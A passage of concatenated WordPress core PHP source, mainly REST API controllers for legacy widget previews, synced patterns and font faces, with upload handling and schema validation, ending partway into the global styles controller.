	 * @param WP_Widget $widget_object Widget object to call widget() on.
	 * @param array     $instance Widget instance settings.
	 * @return string
	 */
	private function get_widget_form( $widget_object, $instance ) {
		ob_start();

		/** This filter is documented in wp-includes/class-wp-widget.php */
		$instance = apply_filters(
			'widget_form_callback',
			$instance,
			$widget_object
		);

		if ( false !== $instance ) {
			$return = $widget_object->form( $instance );

			/** This filter is documented in wp-includes/class-wp-widget.php */
			do_action_ref_array(
				'in_widget_form',
				array( &$widget_object, &$return, $instance )
			);
		}

		return ob_get_clean();
	}

	/**
	 * Renders a single Legacy Widget and wraps it in a JSON-encodable array.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 *
	 * @return array An array with rendered Legacy Widget HTML.
	 */
	public function render( $request ) {
		return array(
			'preview' => $this->render_legacy_widget_preview_iframe(
				$request['id'],
				isset( $request['instance'] ) ? $request['instance'] : null
			),
		);
	}

	/**
	 * Renders a page containing a preview of the requested Legacy Widget block.
	 *
	 * @since 5.9.0
	 *
	 * @param string $id_base The id base of the requested widget.
	 * @param array  $instance The widget instance attributes.
	 *
	 * @return string Rendered Legacy Widget block preview.
	 */
	private function render_legacy_widget_preview_iframe( $id_base, $instance ) {
		if ( ! defined( 'IFRAME_REQUEST' ) ) {
			define( 'IFRAME_REQUEST', true );
		}

		ob_start();
		?>
		<!doctype html>
		<html <?php language_attributes(); ?>>
		<head>
			<meta charset="<?php bloginfo( 'charset' ); ?>" />
			<meta name="viewport" content="width=device-width, initial-scale=1" />
			<link rel="profile" href="https://gmpg.org/xfn/11" />
			<?php wp_head(); ?>
			<style>
				/* Reset theme styles */
				html, body, #page, #content {
					padding: 0 !important;
					margin: 0 !important;
				}
			</style>
		</head>
		<body <?php body_class(); ?>>
		<div id="page" class="site">
			<div id="content" class="site-content">
				<?php
				$registry = WP_Block_Type_Registry::get_instance();
				$block    = $registry->get_registered( 'core/legacy-widget' );
				echo $block->render(
					array(
						'idBase'   => $id_base,
						'instance' => $instance,
					)
				);
				?>
			</div><!-- #content -->
		</div><!-- #page -->
		<?php wp_footer(); ?>
		</body>
		</html>
		<?php
		return ob_get_clean();
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 5.8.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
<?php
/**
 * Synced patterns REST API: WP_REST_Blocks_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Controller which provides a REST endpoint for the editor to read, create,
 * edit, and delete synced patterns (formerly called reusable blocks).
 * Patterns are stored as posts with the wp_block post type.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Posts_Controller
 * @see WP_REST_Controller
 */
class WP_REST_Blocks_Controller extends WP_REST_Posts_Controller {

	/**
	 * Checks if a pattern can be read.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_Post $post Post object that backs the block.
	 * @return bool Whether the pattern can be read.
	 */
	public function check_read_permission( $post ) {
		// By default the read_post capability is mapped to edit_posts.
		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return false;
		}

		return parent::check_read_permission( $post );
	}

	/**
	 * Filters a response based on the context defined in the schema.
	 *
	 * @since 5.0.0
	 * @since 6.3.0 Adds the `wp_pattern_sync_status` postmeta property to the top level of response.
	 *
	 * @param array  $data    Response data to filter.
	 * @param string $context Context defined in the schema.
	 * @return array Filtered response.
	 */
	public function filter_response_by_context( $data, $context ) {
		$data = parent::filter_response_by_context( $data, $context );

		/*
		 * Remove `title.rendered` and `content.rendered` from the response.
		 * It doesn't make sense for a pattern to have rendered content on its own,
		 * since rendering a block requires it to be inside a post or a page.
		 */
		unset( $data['title']['rendered'] );
		unset( $data['content']['rendered'] );

		// Add the core wp_pattern_sync_status meta as top level property to the response.
		$data['wp_pattern_sync_status'] = isset( $data['meta']['wp_pattern_sync_status'] ) ? $data['meta']['wp_pattern_sync_status'] : '';
		unset( $data['meta']['wp_pattern_sync_status'] );
		return $data;
	}

	/**
	 * Retrieves the pattern's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = parent::get_item_schema();

		/*
		 * Allow all contexts to access `title.raw` and `content.raw`.
		 * Clients always need the raw markup of a pattern to do anything useful,
		 * e.g. parse it or display it in an editor.
		 */
		$schema['properties']['title']['properties']['raw']['context']   = array( 'view', 'edit' );
		$schema['properties']['content']['properties']['raw']['context'] = array( 'view', 'edit' );

		/*
		 * Remove `title.rendered` and `content.rendered` from the schema.
		 * It doesn't make sense for a pattern to have rendered content on its own,
		 * since rendering a block requires it to be inside a post or a page.
		 */
		unset( $schema['properties']['title']['properties']['rendered'] );
		unset( $schema['properties']['content']['properties']['rendered'] );

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
<?php
/**
 * REST API: WP_REST_Font_Faces_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.5.0
 */

/**
 * Class to access font faces through the REST API.
 */
class WP_REST_Font_Faces_Controller extends WP_REST_Posts_Controller {

	/**
	 * The latest version of theme.json schema supported by the controller.
	 *
	 * @since 6.5.0
	 * @var int
	 */
	const LATEST_THEME_JSON_VERSION_SUPPORTED = 2;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.5.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Registers the routes for posts.
	 *
	 * @since 6.5.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				'args'   => array(
					'font_family_id' => array(
						'description' => __( 'The ID for the parent font family of the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_create_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'font_family_id' => array(
						'description' => __( 'The ID for the parent font family of the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
					'id'             => array(
						'description' => __( 'Unique identifier for the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.', 'default' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to font faces.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$post_type = get_post_type_object( $this->post_type );

		if ( ! current_user_can( $post_type->cap->read ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access font faces.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access this font face.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Validates settings when creating a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string          $value   Encoded JSON string of font face settings.
	 * @param WP_REST_Request $request Request object.
	 * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object.
	 */
	public function validate_create_font_face_settings( $value, $request ) {
		$settings = json_decode( $value, true );

		// Check settings string is valid JSON.
		if ( null === $settings ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'font_face_settings parameter must be a valid JSON string.' ),
				array( 'status' => 400 )
			);
		}

		// Check that the font face settings match the theme.json schema.
		$schema             = $this->get_item_schema()['properties']['font_face_settings'];
		$has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_face_settings' );

		if ( is_wp_error( $has_valid_settings ) ) {
			$has_valid_settings->add_data( array( 'status' => 400 ) );
			return $has_valid_settings;
		}

		// Check that none of the required settings are empty values.
		$required = $schema['required'];
		foreach ( $required as $key ) {
			if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of the missing font face settings parameter, e.g. "font_face_settings[src]". */
					sprintf( __( '%s cannot be empty.' ), "font_face_setting[ $key ]" ),
					array( 'status' => 400 )
				);
			}
		}

		$srcs  = is_array( $settings['src'] ) ? $settings['src'] : array( $settings['src'] );
		$files = $request->get_file_params();

		foreach ( $srcs as $src ) {
			// Check that each src is a non-empty string.
			$src = ltrim( $src );
			if ( empty( $src ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Font face source parameter name: "font_face_settings[src]". */
					sprintf( __( '%s values must be non-empty strings.' ), 'font_face_settings[src]' ),
					array( 'status' => 400 )
				);
			}

			// Check that srcs are valid URLs or file references.
			if ( false === wp_http_validate_url( $src ) && ! isset( $files[ $src ] ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: 1: Font face source parameter name: "font_face_settings[src]", 2: The invalid src value. */
					sprintf( __( '%1$s value "%2$s" must be a valid URL or file reference.' ), 'font_face_settings[src]', $src ),
					array( 'status' => 400 )
				);
			}
		}

		// Check that each file in the request references a src in the settings.
		foreach ( array_keys( $files ) as $file ) {
			if ( ! in_array( $file, $srcs, true ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: 1: File key (e.g. "file-0") in the request data, 2: Font face source parameter name: "font_face_settings[src]". */
					sprintf( __( 'File %1$s must be used in %2$s.' ), $file, 'font_face_settings[src]' ),
					array( 'status' => 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Sanitizes the font face settings when creating a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Encoded JSON string of font face settings.
	 * @return array Decoded and sanitized array of font face settings.
	 */
	public function sanitize_font_face_settings( $value ) {
		// Settings arrive as stringified JSON, since this is a multipart/form-data request.
		$settings = json_decode( $value, true );
		$schema   = $this->get_item_schema()['properties']['font_face_settings']['properties'];

		// Sanitize settings based on callbacks in the schema.
		foreach ( $settings as $key => $value ) {
			$sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback'];
			$settings[ $key ]  = call_user_func( $sanitize_callback, $value );
		}

		return $settings;
	}

	/**
	 * Retrieves a collection of font faces within the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		return parent::get_items( $request );
	}

	/**
	 * Retrieves a single font face within the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		// Check that the font face has a valid parent font family.
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		if ( (int) $font_family->ID !== (int) $post->post_parent ) {
			return new WP_Error(
				'rest_font_face_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ),
				array( 'status' => 404 )
			);
		}

		return parent::get_item( $request );
	}

	/**
	 * Creates a font face for the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		// Settings have already been decoded by ::sanitize_font_face_settings().
		$settings    = $request->get_param( 'font_face_settings' );
		$file_params = $request->get_file_params();

		// Check that the necessary font face properties are unique.
		$query = new WP_Query(
			array(
				'post_type'              => $this->post_type,
				'posts_per_page'         => 1,
				'title'                  => WP_Font_Utils::get_font_face_slug( $settings ),
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);
		if ( ! empty( $query->posts ) ) {
			return new WP_Error(
				'rest_duplicate_font_face',
				__( 'A font face matching those settings already exists.' ),
				array( 'status' => 400 )
			);
		}

		// Move the uploaded font asset from the temp folder to the fonts directory.
		if ( ! function_exists( 'wp_handle_upload' ) ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
		}

		$srcs           = is_string( $settings['src'] ) ? array( $settings['src'] ) : $settings['src'];
		$processed_srcs = array();
		$font_file_meta = array();

		foreach ( $srcs as $src ) {
			// If src not a file reference, use it as is.
			if ( ! isset( $file_params[ $src ] ) ) {
				$processed_srcs[] = $src;
				continue;
			}

			$file      = $file_params[ $src ];
			$font_file = $this->handle_font_file_upload( $file );
			if ( is_wp_error( $font_file ) ) {
				return $font_file;
			}

			$processed_srcs[] = $font_file['url'];
			$font_file_meta[] = $this->relative_fonts_path( $font_file['file'] );
		}

		// Store the updated settings for prepare_item_for_database to use.
		$settings['src'] = count( $processed_srcs ) === 1 ? $processed_srcs[0] : $processed_srcs;
		$request->set_param( 'font_face_settings', $settings );

		// Ensure that $settings data is slashed, so values with quotes are escaped.
		// WP_REST_Posts_Controller::create_item uses wp_slash() on the post_content.
		$font_face_post = parent::create_item( $request );

		if ( is_wp_error( $font_face_post ) ) {
			return $font_face_post;
		}

		$font_face_id = $font_face_post->data['id'];

		foreach ( $font_file_meta as $font_file_path ) {
			add_post_meta( $font_face_id, '_wp_font_face_file', $font_file_path );
		}

		return $font_face_post;
	}

	/**
	 * Deletes a single font face.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		if ( (int) $font_family->ID !== (int) $post->post_parent ) {
			return new WP_Error(
				'rest_font_face_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ),
				array( 'status' => 404 )
			);
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for font faces.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		return parent::delete_item( $request );
	}

	/**
	 * Prepares a single font face output for response.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $item->ID;
		}
		if ( rest_is_field_included( 'theme_json_version', $fields ) ) {
			$data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED;
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = $item->post_parent;
		}

		if ( rest_is_field_included( 'font_face_settings', $fields ) ) {
			$data['font_face_settings'] = $this->get_settings_from_post( $item );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		/**
		 * Filters the font face data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Font face post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_wp_font_face', $response, $item, $request );
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'id'                 => array(
					'description' => __( 'Unique identifier for the post.', 'default' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'theme_json_version' => array(
					'description' => __( 'Version of the theme.json schema used for the typography settings.' ),
					'type'        => 'integer',
					'default'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'minimum'     => 2,
					'maximum'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'parent'             => array(
					'description' => __( 'The ID for the parent font family of the font face.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				// Font face settings come directly from theme.json schema
				// See https://schemas.wp.org/trunk/theme.json
				'font_face_settings' => array(
					'description'          => __( 'font-face declaration in theme.json format.' ),
					'type'                 => 'object',
					'context'              => array( 'view', 'edit', 'embed' ),
					'properties'           => array(
						'fontFamily'            => array(
							'description' => __( 'CSS font-family value.' ),
							'type'        => 'string',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ),
							),
						),
						'fontStyle'             => array(
							'description' => __( 'CSS font-style value.' ),
							'type'        => 'string',
							'default'     => 'normal',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontWeight'            => array(
							'description' => __( 'List of available font weights, separated by a space.' ),
							'default'     => '400',
							// Changed from `oneOf` to avoid errors from loose type checking.
							// e.g. a fontWeight of "400" validates as both a string and an integer due to is_numeric check.
							'type'        => array( 'string', 'integer' ),
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontDisplay'           => array(
							'description' => __( 'CSS font-display value.' ),
							'type'        => 'string',
							'default'     => 'fallback',
							'enum'        => array(
								'auto',
								'block',
								'fallback',
								'swap',
								'optional',
							),
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'src'                   => array(
							'description' => __( 'Paths or URLs to the font files.' ),
							// Changed from `oneOf` to `anyOf` due to rest_sanitize_array converting a string into an array,
							// and causing a "matches more than one of the expected formats" error.
							'anyOf'       => array(
								array(
									'type' => 'string',
								),
								array(
									'type'  => 'array',
									'items' => array(
										'type' => 'string',
									),
								),
							),
							'default'     => array(),
							'arg_options' => array(
								'sanitize_callback' => function ( $value ) {
									return is_array( $value ) ? array_map( array( $this, 'sanitize_src' ), $value ) : $this->sanitize_src( $value );
								},
							),
						),
						'fontStretch'           => array(
							'description' => __( 'CSS font-stretch value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'ascentOverride'        => array(
							'description' => __( 'CSS ascent-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'descentOverride'       => array(
							'description' => __( 'CSS descent-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontVariant'           => array(
							'description' => __( 'CSS font-variant value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontFeatureSettings'   => array(
							'description' => __( 'CSS font-feature-settings value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontVariationSettings' => array(
							'description' => __( 'CSS font-variation-settings value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'lineGapOverride'       => array(
							'description' => __( 'CSS line-gap-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'sizeAdjust'            => array(
							'description' => __( 'CSS size-adjust value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'unicodeRange'          => array(
							'description' => __( 'CSS unicode-range value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'preview'               => array(
							'description' => __( 'URL to a preview image of the font face.' ),
							'type'        => 'string',
							'format'      => 'uri',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_url',
							),
						),
					),
					'required'             => array( 'fontFamily', 'src' ),
					'additionalProperties' => false,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 6.5.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = parent::get_public_item_schema();

		// Also remove `arg_options' from child font_family_settings properties, since the parent
		// controller only handles the top level properties.
		foreach ( $schema['properties']['font_face_settings']['properties'] as &$property ) {
			unset( $property['arg_options'] );
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the font face collection.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		// Remove unneeded params.
		unset(
			$query_params['after'],
			$query_params['modified_after'],
			$query_params['before'],
			$query_params['modified_before'],
			$query_params['search'],
			$query_params['search_columns'],
			$query_params['slug'],
			$query_params['status']
		);

		$query_params['orderby']['default'] = 'id';
		$query_params['orderby']['enum']    = array( 'id', 'include' );

		/**
		 * Filters collection parameters for the font face controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_wp_font_face_collection_params', $query_params );
	}

	/**
	 * Get the params used when creating a new font face.
	 *
	 * @since 6.5.0
	 *
	 * @return array Font face create arguments.
	 */
	public function get_create_params() {
		$properties = $this->get_item_schema()['properties'];
		return array(
			'theme_json_version' => $properties['theme_json_version'],
			// When creating, font_face_settings is stringified JSON, to work with multipart/form-data used
			// when uploading font files.
			'font_face_settings' => array(
				'description'       => __( 'font-face declaration in theme.json format, encoded as a string.' ),
				'type'              => 'string',
				'required'          => true,
				'validate_callback' => array( $this, 'validate_create_font_face_settings' ),
				'sanitize_callback' => array( $this, 'sanitize_font_face_settings' ),
			),
		);
	}

	/**
	 * Get the parent font family, if the ID is valid.
	 *
	 * @since 6.5.0
	 *
	 * @param int $font_family_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent_font_family_post( $font_family_id ) {
		$error = new WP_Error(
			'rest_post_invalid_parent',
			__( 'Invalid post parent ID.', 'default' ),
			array( 'status' => 404 )
		);

		if ( (int) $font_family_id <= 0 ) {
			return $error;
		}

		$font_family_post = get_post( (int) $font_family_id );

		if ( empty( $font_family_post ) || empty( $font_family_post->ID )
		|| 'wp_font_family' !== $font_family_post->post_type
		) {
			return $error;
		}

		return $font_family_post;
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		return array(
			'self'       => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces/' . $post->ID ),
			),
			'collection' => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces' ),
			),
			'parent'     => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent ),
			),
		);
	}

	/**
	 * Prepares a single font face post for creation.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass Post object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post = new stdClass();

		// Settings have already been decoded by ::sanitize_font_face_settings().
		$settings = $request->get_param( 'font_face_settings' );

		// Store this "slug" as the post_title rather than post_name, since it uses the fontFamily setting,
		// which may contain multibyte characters.
		$title = WP_Font_Utils::get_font_face_slug( $settings );

		$prepared_post->post_type    = $this->post_type;
		$prepared_post->post_parent  = $request['font_family_id'];
		$prepared_post->post_status  = 'publish';
		$prepared_post->post_title   = $title;
		$prepared_post->post_name    = sanitize_title( $title );
		$prepared_post->post_content = wp_json_encode( $settings );

		return $prepared_post;
	}

	/**
	 * Sanitizes a single src value for a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Font face src that is a URL or the key for a $_FILES array item.
	 * @return string Sanitized value.
	 */
	protected function sanitize_src( $value ) {
		$value = ltrim( $value );
		return false === wp_http_validate_url( $value ) ? (string) $value : sanitize_url( $value );
	}

	/**
	 * Handles the upload of a font file using wp_handle_upload().
	 *
	 * @since 6.5.0
	 *
	 * @param array $file Single file item from $_FILES.
	 * @return array|WP_Error Array containing uploaded file attributes on success, or WP_Error object on failure.
	 */
	protected function handle_font_file_upload( $file ) {
		add_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) );
		// Filter the upload directory to return the fonts directory.
		add_filter( 'upload_dir', '_wp_filter_font_directory' );

		$overrides = array(
			'upload_error_handler' => array( $this, 'handle_font_file_upload_error' ),
			// Not testing a form submission.
			'test_form'            => false,
			// Only allow uploading font files for this request.
			'mimes'                => WP_Font_Utils::get_allowed_font_mime_types(),
		);

		// Bypasses is_uploaded_file() when running unit tests.
		if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) {
			$overrides['action'] = 'wp_handle_mock_upload';
		}

		$uploaded_file = wp_handle_upload( $file, $overrides );

		remove_filter( 'upload_dir', '_wp_filter_font_directory' );
		remove_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) );

		return $uploaded_file;
	}

	/**
	 * Handles file upload error.
	 *
	 * @since 6.5.0
	 *
	 * @param array  $file    File upload data.
	 * @param string $message Error message from wp_handle_upload().
	 * @return WP_Error WP_Error object.
	 */
	public function handle_font_file_upload_error( $file, $message ) {
		$status = 500;
		$code   = 'rest_font_upload_unknown_error';

		if ( __( 'Sorry, you are not allowed to upload this file type.' ) === $message ) {
			$status = 400;
			$code   = 'rest_font_upload_invalid_file_type';
		}

		return new WP_Error( $code, $message, array( 'status' => $status ) );
	}

	/**
	 * Returns relative path to an uploaded font file.
	 *
	 * The path is relative to the current fonts directory.
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @param string $path Full path to the file.
	 * @return string Relative path on success, unchanged path on failure.
	 */
	protected function relative_fonts_path( $path ) {
		$new_path = $path;

		$fonts_dir = wp_get_font_dir();
		if ( str_starts_with( $new_path, $fonts_dir['basedir'] ) ) {
			$new_path = str_replace( $fonts_dir['basedir'], '', $new_path );
			$new_path = ltrim( $new_path, '/' );
		}

		return $new_path;
	}

	/**
	 * Gets the font face's settings from the post.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Font face post object.
	 * @return array Font face settings array.
	 */
	protected function get_settings_from_post( $post ) {
		$settings   = json_decode( $post->post_content, true );
		$properties = $this->get_item_schema()['properties']['font_face_settings']['properties'];

		// Provide required, empty settings if needed.
		if ( null === $settings ) {
			$settings = array(
				'fontFamily' => '',
				'src'        => array(),
			);
		}

		// Only return the properties defined in the schema.
		return array_intersect_key( $settings, $properties );
	}
}
<?php
/**
 * REST API: WP_REST_Global_Styles_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Base Global Styles REST API Controller.
 */
class WP_REST_Global_Styles_Controller extends WP_REST_Controller {

	/**
	 * Post type.
	 *
	 * @since 5.9.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'global-styles';
		$this->post_type = 'wp_global_styles';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/themes/(?P<stylesheet>[\/\s%\w\.\(\)\[\]\@_\-]+)/variations',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_theme_items' ),
